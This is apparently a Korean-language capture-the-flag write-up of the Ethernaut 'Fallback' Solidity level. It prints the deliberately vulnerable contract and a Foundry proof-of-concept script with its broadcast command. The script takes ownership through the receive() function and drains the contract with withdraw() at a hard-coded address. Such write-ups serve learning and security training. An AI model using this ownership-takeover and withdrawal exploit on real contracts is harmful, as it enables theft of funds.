fallback / receive는
“어떤 함수랑도 매칭 안 될 때, 또는 그냥 돈만 보내졌을 때 대신 실행되는 함수”
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether); //돈은 0.001 ether보다 적게 보내야함
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender; //msg.sender의 돈이 owner보다 많아야 함
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
//value에 0이상, 아까 msg.sender에 0원 이상 있을 때 sender가 owner가 됨
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
payable(target).call{value: ...}("")receive() (or fallback) 호출 fallback/receive는 매칭되는 함수가 없을 때 대신 실행되는 엔트리이다.forge script ./Counter.s.sol:PoC --rpc-url $RPC_URL --broadcast -vvvv
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {Counter} from "../src/Counter.sol";
import {Fallback} from "../src/Fallback.sol";
contract PoC is Script {
Counter public counter;
address public target = 0x24717B787DB7FC54936E6291311567e0C4147B27;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
console.log(target.balance);
//contributions[msg.sender] > 0 만족 시키기 위한 초기 설정
Fallback(payable(target)).contribute{value: 0.0001 ether}();
//그냥 call하면 recieve() 함수가 불러와짐
payable(target).call{value: 0.0001 ether}("");
//잔고 0원 만들기 조건
Fallback(payable(target)).withdraw();
vm.stopBroadcast();
}
}